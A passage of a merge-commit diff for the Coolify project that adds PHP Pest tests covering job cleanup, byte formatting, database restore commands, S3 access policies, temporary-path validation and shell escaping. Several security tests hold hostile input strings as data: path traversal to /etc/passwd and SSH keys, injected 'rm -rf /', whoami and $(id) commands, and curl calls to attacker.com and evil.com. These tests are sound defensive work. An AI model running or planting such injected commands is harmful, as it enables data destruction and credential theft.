Merge branch 'next' into env-var-autocomplete

This commit is contained in:
Andras Bacsai
2025-11-25 11:21:53 +01:00
committed by GitHub
26 changed files with 1924 additions and 231 deletions

View File

@@ -0,0 +1,84 @@
<?php
use App\Jobs\CoolifyTask;
it('CoolifyTask has failed method that handles cleanup', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
// Verify failed method exists
expect($reflection->hasMethod('failed'))->toBeTrue();
// Get the failed method
$failedMethod = $reflection->getMethod('failed');
// Read the method source to verify it dispatches events
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify the implementation contains event dispatch logic
expect($methodSource)
->toContain('call_event_on_finish')
->and($methodSource)->toContain('event(new $eventClass')
->and($methodSource)->toContain('call_event_data')
->and($methodSource)->toContain('Log::info');
});
it('CoolifyTask failed method updates activity status to ERROR', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$failedMethod = $reflection->getMethod('failed');
// Read the method source
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify activity status is set to ERROR
expect($methodSource)
->toContain("'status' => ProcessStatus::ERROR->value")
->and($methodSource)->toContain("'error' =>")
->and($methodSource)->toContain("'failed_at' =>");
});
it('CoolifyTask failed method has proper error handling for event dispatch', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$failedMethod = $reflection->getMethod('failed');
// Read the method source
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify try-catch around event dispatch
expect($methodSource)
->toContain('try {')
->and($methodSource)->toContain('} catch (\Throwable $e) {')
->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
});
it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$constructor = $reflection->getConstructor();
// Get constructor parameters
$parameters = $constructor->getParameters();
$paramNames = array_map(fn ($p) => $p->getName(), $parameters);
// Verify both parameters exist
expect($paramNames)
->toContain('call_event_on_finish')
->and($paramNames)->toContain('call_event_data');
// Verify they are public properties (constructor property promotion)
expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
expect($reflection->hasProperty('call_event_data'))->toBeTrue();
});

View File

@@ -0,0 +1,42 @@
<?php
it('formats zero bytes correctly', function () {
expect(formatBytes(0))->toBe('0 B');
});
it('formats null bytes correctly', function () {
expect(formatBytes(null))->toBe('0 B');
});
it('handles negative bytes safely', function () {
expect(formatBytes(-1024))->toBe('0 B');
expect(formatBytes(-100))->toBe('0 B');
});
it('formats bytes correctly', function () {
expect(formatBytes(512))->toBe('512 B');
expect(formatBytes(1023))->toBe('1023 B');
});
it('formats kilobytes correctly', function () {
expect(formatBytes(1024))->toBe('1 KB');
expect(formatBytes(2048))->toBe('2 KB');
expect(formatBytes(1536))->toBe('1.5 KB');
});
it('formats megabytes correctly', function () {
expect(formatBytes(1048576))->toBe('1 MB');
expect(formatBytes(5242880))->toBe('5 MB');
});
it('formats gigabytes correctly', function () {
expect(formatBytes(1073741824))->toBe('1 GB');
expect(formatBytes(2147483648))->toBe('2 GB');
});
it('respects precision parameter', function () {
expect(formatBytes(1536, 0))->toBe('2 KB');
expect(formatBytes(1536, 1))->toBe('1.5 KB');
expect(formatBytes(1536, 2))->toBe('1.5 KB');
expect(formatBytes(1536, 3))->toBe('1.5 KB');
});

View File

@@ -0,0 +1,79 @@
<?php
use App\Livewire\Project\Database\Import;
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
expect($result)->toContain('/tmp/test.dump');
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});

View File

@@ -0,0 +1,184 @@
<?php
/**
* Security tests for isSafeTmpPath() function to prevent path traversal attacks.
*/
describe('isSafeTmpPath() security validation', function () {
it('rejects null and empty paths', function () {
expect(isSafeTmpPath(null))->toBeFalse();
expect(isSafeTmpPath(''))->toBeFalse();
expect(isSafeTmpPath(' '))->toBeFalse();
});
it('rejects paths shorter than minimum length', function () {
expect(isSafeTmpPath('/tmp'))->toBeFalse();
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass
});
it('accepts valid /tmp/ paths', function () {
expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue();
expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue();
});
it('rejects obvious path traversal attempts with ..', function () {
expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse();
});
it('rejects paths that do not start with /tmp/', function () {
expect(isSafeTmpPath('/etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse();
expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse();
expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading /
expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse();
});
it('handles double slashes by normalizing them', function () {
// Double slashes are normalized out, so these should pass
expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue();
});
it('handles relative directory references by normalizing them', function () {
// ./ references are normalized out, so these should pass
expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue();
});
it('handles trailing slashes correctly', function () {
expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue();
expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue();
});
it('rejects sophisticated path traversal attempts', function () {
// URL encoded .. will be decoded and then rejected
expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse();
// Mixed case /TMP doesn't start with /tmp/
expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse();
expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse();
// URL encoded slashes with .. (should decode to /tmp/../../etc/passwd)
expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse();
// Null byte injection attempt (if string contains it)
expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse();
});
it('validates paths even when directories do not exist', function () {
// These paths don't exist but should be validated structurally
expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue();
// But traversal should still be blocked even if dir doesn't exist
expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse();
});
it('handles real path resolution when directory exists', function () {
// Create a real temp directory to test realpath() logic
$testDir = '/tmp/phpunit-test-'.uniqid();
mkdir($testDir, 0755, true);
try {
expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue();
expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue();
} finally {
rmdir($testDir);
}
});
it('prevents symlink-based traversal attacks', function () {
// Create a temp directory and symlink
$testDir = '/tmp/phpunit-symlink-test-'.uniqid();
mkdir($testDir, 0755, true);
// Try to create a symlink to /etc (may not work in all environments)
$symlinkPath = $testDir.'/evil-link';
try {
// Attempt to create symlink (skip test if not possible)
if (@symlink('/etc', $symlinkPath)) {
// If we successfully created a symlink to /etc,
// isSafeTmpPath should resolve it and reject paths through it
$testPath = $symlinkPath.'/passwd';
// The resolved path would be /etc/passwd, not /tmp/...
// So it should be rejected
$result = isSafeTmpPath($testPath);
// Clean up before assertion
unlink($symlinkPath);
rmdir($testDir);
expect($result)->toBeFalse();
} else {
// Can't create symlink, skip this specific test
$this->markTestSkipped('Cannot create symlinks in this environment');
}
} catch (Exception $e) {
// Clean up on any error
if (file_exists($symlinkPath)) {
unlink($symlinkPath);
}
if (file_exists($testDir)) {
rmdir($testDir);
}
throw $e;
}
});
it('has consistent behavior with or without trailing slash', function () {
expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/'));
expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/'));
});
});
/**
* Integration test for S3RestoreJobFinished event using the secure path validation.
*/
describe('S3RestoreJobFinished path validation', function () {
it('validates that safe paths pass validation', function () {
// Test with valid paths - should pass validation
$validData = [
'serverTmpPath' => '/tmp/valid-backup.sql',
'scriptPath' => '/tmp/valid-script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
];
expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue();
expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue();
expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue();
});
it('validates that malicious paths fail validation', function () {
// Test with malicious paths - should fail validation
$maliciousData = [
'serverTmpPath' => '/tmp/../etc/passwd',
'scriptPath' => '/tmp/../../etc/shadow',
'containerTmpPath' => '/etc/important-config',
];
// Verify that our helper would reject these paths
expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse();
expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse();
expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse();
});
it('validates realistic S3 restore paths', function () {
// These are the kinds of paths that would actually be used
$realisticPaths = [
'/tmp/coolify-s3-restore-'.uniqid().'.sql',
'/tmp/db-backup-'.date('Y-m-d').'.dump',
'/tmp/restore-script-'.uniqid().'.sh',
];
foreach ($realisticPaths as $path) {
expect(isSafeTmpPath($path))->toBeTrue();
}
});
});

View File

@@ -0,0 +1,149 @@
<?php
use App\Models\S3Storage;
use App\Models\User;
use App\Policies\S3StoragePolicy;
it('allows team member to view S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->view($user, $storage))->toBeTrue();
});
it('denies team member to view S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->view($user, $storage))->toBeFalse();
});
it('allows team admin to update S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->update($user, $storage))->toBeTrue();
});
it('denies team member to update S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->update($user, $storage))->toBeFalse();
});
it('allows team member to delete S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->delete($user, $storage))->toBeTrue();
});
it('denies team member to delete S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->delete($user, $storage))->toBeFalse();
});
it('allows admin to create S3 storage', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new S3StoragePolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create S3 storage', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new S3StoragePolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows team member to validate connection of S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->validateConnection($user, $storage))->toBeTrue();
});
it('denies team member to validate connection of S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->validateConnection($user, $storage))->toBeFalse();
});

View File

@@ -0,0 +1,39 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
expect($component->filename)->toBeNull();
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
$component->customLocation = '';
expect($component->customLocation)->toBe('');
});

View File

@@ -0,0 +1,93 @@
<?php
use App\Events\RestoreJobFinished;
use App\Events\S3RestoreJobFinished;
use App\Models\Server;
/**
* Tests for RestoreJobFinished and S3RestoreJobFinished events to ensure they handle
* null server scenarios gracefully (when server is deleted during operation).
*/
describe('RestoreJobFinished null server handling', function () {
afterEach(function () {
Mockery::close();
});
it('handles null server gracefully in RestoreJobFinished event', function () {
// Mock Server::find to return null (server was deleted)
$mockServer = Mockery::mock('alias:'.Server::class);
$mockServer->shouldReceive('find')
->with(999)
->andReturn(null);
$data = [
'scriptPath' => '/tmp/script.sh',
'tmpPath' => '/tmp/backup.sql',
'container' => 'test-container',
'serverId' => 999,
];
// Should not throw an error when server is null
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles null server gracefully in S3RestoreJobFinished event', function () {
// Mock Server::find to return null (server was deleted)
$mockServer = Mockery::mock('alias:'.Server::class);
$mockServer->shouldReceive('find')
->with(999)
->andReturn(null);
$data = [
'containerName' => 'helper-container',
'serverTmpPath' => '/tmp/downloaded.sql',
'scriptPath' => '/tmp/script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
'container' => 'test-container',
'serverId' => 999,
];
// Should not throw an error when server is null
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles empty serverId in RestoreJobFinished event', function () {
$data = [
'scriptPath' => '/tmp/script.sh',
'tmpPath' => '/tmp/backup.sql',
'container' => 'test-container',
'serverId' => null,
];
// Should not throw an error when serverId is null
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles empty serverId in S3RestoreJobFinished event', function () {
$data = [
'containerName' => 'helper-container',
'serverTmpPath' => '/tmp/downloaded.sql',
'scriptPath' => '/tmp/script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
'container' => 'test-container',
'serverId' => null,
];
// Should not throw an error when serverId is null
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles missing data gracefully in RestoreJobFinished', function () {
$data = [];
// Should not throw an error when data is empty
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles missing data gracefully in S3RestoreJobFinished', function () {
$data = [];
// Should not throw an error when data is empty
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
});

View File

@@ -0,0 +1,61 @@
<?php
/**
* Security tests for RestoreJobFinished event to ensure it uses secure path validation.
*/
describe('RestoreJobFinished event security', function () {
it('validates that safe paths pass validation', function () {
$validPaths = [
'/tmp/restore-backup.sql',
'/tmp/restore-script.sh',
'/tmp/database-dump-'.uniqid().'.sql',
];
foreach ($validPaths as $path) {
expect(isSafeTmpPath($path))->toBeTrue();
}
});
it('validates that malicious paths fail validation', function () {
$maliciousPaths = [
'/tmp/../etc/passwd',
'/tmp/foo/../../etc/shadow',
'/etc/sensitive-file',
'/var/www/config.php',
'/tmp/../../../root/.ssh/id_rsa',
];
foreach ($maliciousPaths as $path) {
expect(isSafeTmpPath($path))->toBeFalse();
}
});
it('rejects URL-encoded path traversal attempts', function () {
$encodedTraversalPaths = [
'/tmp/%2e%2e/etc/passwd',
'/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
urlencode('/tmp/../etc/passwd'),
];
foreach ($encodedTraversalPaths as $path) {
expect(isSafeTmpPath($path))->toBeFalse();
}
});
it('handles edge cases correctly', function () {
// Too short
expect(isSafeTmpPath('/tmp'))->toBeFalse();
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
// Null/empty
expect(isSafeTmpPath(null))->toBeFalse();
expect(isSafeTmpPath(''))->toBeFalse();
// Null byte injection
expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
// Valid edge cases
expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
});
});

View File

@@ -0,0 +1,118 @@
<?php
/**
* Security tests for shell metacharacter escaping in restore events.
*
* These tests verify that escapeshellarg() properly neutralizes shell injection
* attempts in paths that pass isSafeTmpPath() validation.
*/
describe('Shell metacharacter escaping in restore events', function () {
it('demonstrates that malicious paths can pass isSafeTmpPath but are neutralized by escapeshellarg', function () {
// This path passes isSafeTmpPath() validation (it's within /tmp/, no .., no null bytes)
$maliciousPath = "/tmp/file'; whoami; '";
// Path validation passes - it's a valid /tmp/ path
expect(isSafeTmpPath($maliciousPath))->toBeTrue();
// But when escaped, the shell metacharacters become literal strings
$escaped = escapeshellarg($maliciousPath);
// The escaped version wraps in single quotes and escapes internal single quotes
expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
// Building a command with escaped path is safe
$command = "rm -f {$escaped}";
// The command contains the quoted path, not an unquoted injection
expect($command)->toStartWith("rm -f '");
expect($command)->toEndWith("'");
});
it('escapes paths with semicolon injection attempts', function () {
$path = '/tmp/backup; rm -rf /; echo';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
// The semicolons are inside quotes, so they're treated as literals
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
});
it('escapes paths with backtick command substitution attempts', function () {
$path = '/tmp/backup`whoami`.sql';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
// Backticks inside single quotes are not executed
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
});
it('escapes paths with $() command substitution attempts', function () {
$path = '/tmp/backup$(id).sql';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
// $() inside single quotes is not executed
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
});
it('escapes paths with pipe injection attempts', function () {
$path = '/tmp/backup | cat /etc/passwd';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
// Pipe inside single quotes is treated as literal
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
});
it('escapes paths with newline injection attempts', function () {
$path = "/tmp/backup\nwhoami";
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
// Newline is preserved inside single quotes
expect($escaped)->toContain("\n");
expect($escaped)->toStartWith("'");
expect($escaped)->toEndWith("'");
});
it('handles normal paths without issues', function () {
$normalPaths = [
'/tmp/restore-backup.sql',
'/tmp/restore-script.sh',
'/tmp/database-dump-abc123.sql',
'/tmp/deeply/nested/path/to/file.sql',
];
foreach ($normalPaths as $path) {
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
// Normal paths are just wrapped in single quotes
expect($escaped)->toBe("'{$path}'");
}
});
it('escapes container names with injection attempts', function () {
// Container names are not validated by isSafeTmpPath, so escaping is critical
$maliciousContainer = 'container"; rm -rf /; echo "pwned';
$escaped = escapeshellarg($maliciousContainer);
expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
// Building a docker command with escaped container is safe
$command = "docker rm -f {$escaped}";
expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
});
});

View File

@@ -0,0 +1,98 @@
<?php
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
$escapedSecret = escapeshellarg($maliciousSecret);
// escapeshellarg should wrap in single quotes and escape any single quotes
expect($escapedSecret)->toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
// When used in a command, the shell metacharacters should be treated as literal strings
$command = "echo {$escapedSecret}";
// The dangerous part (";curl) is now safely inside single quotes
expect($command)->toContain("'secret"); // Properly quoted
expect($escapedSecret)->toStartWith("'"); // Starts with quote
expect($escapedSecret)->toEndWith("'"); // Ends with quote
// Test case 2: Endpoint with command injection
$maliciousEndpoint = 'https://s3.example.com";whoami;"';
$escapedEndpoint = escapeshellarg($maliciousEndpoint);
expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
// Test case 3: Key with destructive command
$maliciousKey = 'access-key";rm -rf /;echo "';
$escapedKey = escapeshellarg($maliciousKey);
expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
// Test case 4: Normal credentials should work fine
$normalSecret = 'MySecretKey123';
$normalEndpoint = 'https://s3.amazonaws.com';
$normalKey = 'AKIAIOSFODNN7EXAMPLE';
expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
$secret = 'SecretKey";rm -rf /tmp;echo "';
// Before fix (vulnerable):
// $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
// This would allow command injection because $endpoint and $key are not quoted,
// and $secret's double quotes can be escaped
// After fix (secure):
$escapedEndpoint = escapeshellarg($endpoint);
$escapedKey = escapeshellarg($key);
$escapedSecret = escapeshellarg($secret);
$secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
// Verify the secure command has properly escaped values
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
// Verify that the command injection attempts are neutered (they're literal strings now)
// The values are wrapped in single quotes, so shell metacharacters are treated as literals
// Check that all three parameters are properly quoted
expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
// Verify the dangerous parts are inside quotes (between the quote marks)
// The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
// Ensure we're NOT using the old vulnerable pattern with unquoted values
$vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
expect($secureCommand)->not->toContain($vulnerablePattern);
});
it('handles S3 secrets with single quotes correctly', function () {
// Test edge case: secret containing single quotes
// escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
$secretWithQuote = "my'secret'key";
$escaped = escapeshellarg($secretWithQuote);
// The expected output format is: 'my'\''secret'\''key'
// This is how escapeshellarg handles single quotes in the input
expect($escaped)->toBe("'my'\\''secret'\\''key'");
// Verify it would work in a command context
$containerName = 's3-restore-test';
$endpoint = escapeshellarg('https://s3.amazonaws.com');
$key = escapeshellarg('AKIATEST');
$command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});

View File

@@ -0,0 +1,75 @@
<?php
test('S3 path is cleaned correctly', function () {
// Test that leading slashes are removed
$path = '/backups/database.gz';
$cleanPath = ltrim($path, '/');
expect($cleanPath)->toBe('backups/database.gz');
// Test path without leading slash remains unchanged
$path2 = 'backups/database.gz';
$cleanPath2 = ltrim($path2, '/');
expect($cleanPath2)->toBe('backups/database.gz');
